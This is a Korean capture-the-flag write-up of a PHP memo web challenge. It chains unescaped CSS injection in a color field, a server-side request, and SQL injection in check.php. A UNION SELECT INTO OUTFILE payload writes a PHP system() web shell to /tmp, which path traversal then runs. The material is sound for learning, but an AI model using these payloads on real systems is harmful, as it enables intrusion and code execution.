web문제중에 가장 solve가 많았던 문젠데 풀지 못했다. 끝나고 write-up을 보니 생각보다 어려운 문제였다... 여러기법들이 좀 짬뽕되어있다. 뭔가 많이 배울수있었다.
일단 웹사이트가 어떻게 돌아가도록 설계되었는지부터 파악해보면 memo를 작성할 수 있고 이 memo를 report하여 관리자측에서 확인하도록 되어있다. flag는 /flag_(암호) 에 위치한다. flag가 관리자의 쿠키에 있는것이 아니니 xss를 이용한 쿠키탈취문제는 아니라고 예상할수있다. 결국 중요한점은 report를 할 수 있다는점인데 memo에 ssrf가 일어날수있는 코드를 전송하면 될것같은 느낌이 든다.
<style>
.content{
color:<?php echo $color ?>
}
</style>
<table class="table">
<thead>
<tr>
<th scope="col" width="100px"></th>
<th scope="col"></th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Title</th>
<td><?php echo htmlspecialchars($title); ?></td>
</tr>
<tr>
<th scope="row">Checked</th>
<td><?php echo $adminCheck==0?"X":"O"; ?></td>
</tr>
<tr>
<th scope="row"></th>
<td><a href=<?php echo '"/submit.php?id='.$id.'"' ?>>Submit memo to admin</a></td>
</tr>
<tr>
<th scope="row" height="300px">Content</th>
<td><span class="content"><?php echo htmlspecialchars($content); ?></span></td>
</tr>
</tbody>
</table>
memo를 읽어오는 read.php의 코드중 일부인데 어딘가 좀 이상하다. 입력받은 title, content는 htmlspecialchars를 거쳐서 출력이 되는 반면 color는 그냥 echo를 해버린다. 여기서 취약점이 발생한다. css를 추가적으로 더 삽입할수있게 된것이다. background-image:URL() 을 사용하면 ssrf가 가능할것이다.
<?php
if($_SERVER["REMOTE_ADDR"] == '127.0.0.1' || $_SERVER["REMOTE_ADDR"] == '::1'){
$id = $_GET['id'];
$mysqli = new mysqli('localhost','user','password','colorfulmemo');
// I believe admin
$result = $mysqli->query('SELECT adminCheck FROM memo WHERE id = '.$id);
if($result){
$row = mysqli_fetch_row($result);
if($row){
if($row[0] != 1){
$stmt = $mysqli->prepare('UPDATE memo SET adminCheck = 1 WHERE id = ?');
$stmt->bind_param('i',$id);
$stmt->execute();
$stmt->close();
}
}
}
}
else{
die("no hack");
}
?>
check.php 코드이다. 관리자측에서 어떤 코드를 실행시키도록 해야할지 생각해야한다. 이 코드에서 주의 깊게 봐야할 점은 id가 get한 그대로 sql문에 삽입되는것이다. 그렇다면 관리자일경우에 id에 sql injection을 하여 어쩌면 php code까지 실행시킬수 있게된다. 여기서 조금 유의해야할점은 mysqli를 사용하기에 문법에 유의해야한다는 것.
SELECT adminCheck FROM memo WHERE id=100 UNION SELECT '<?php echo system('ls') ?>' INTO OUTFILE '/tmp/shell.php'
단, '<?php echo system('cd /;ls;') ?>'는 X'3c3f706870206563686f2073797374656d28276364202f3b6c733b2729203f3e' 로 대체가능
여기서 꼭 /tmp/ 경로로 저장하도록 해야하는데 그 이유는
my.cnf에 secure-file-priv = /tmp/로 설정되어있기 때문이다. 저 값은 입출력 저장 경로를 정하는것인데 저 경로 이외에는 저장이 안된다.
암튼 결국 저 SQL문을 실행하도록 하면된다. 그럼 이제 write로 돌아가서 ssrf가 발생하도록 color값을 변조해보자.
그리고 난후 report를 해준후에 index.php/?path=../../../../../tmp/shell로 이동해주면
php코드가 실행되었다... php코드가 실행되는것을 알았으니 값을 잘 변경하여 cat /flag_(암호) 를 실행하도록하면 flag를 획득할수있다.
solved
몇달전에 이 문제를 봤으면 writeup을 보고도 이해를 못했을텐데 이제는 이해라도 할수있는것이 감사하다... sql injection, ssrf, mysqli 문법, php코드 삽입, css 취약점, secure-file-priv 설정 등등 알찬 요소들의 짬뽕이라 초보를 갓벗어난 해커에게 정말 좋은 문제라고 생각된다. 이런 문제도 ctf중에 풀 수 있는 내가되길...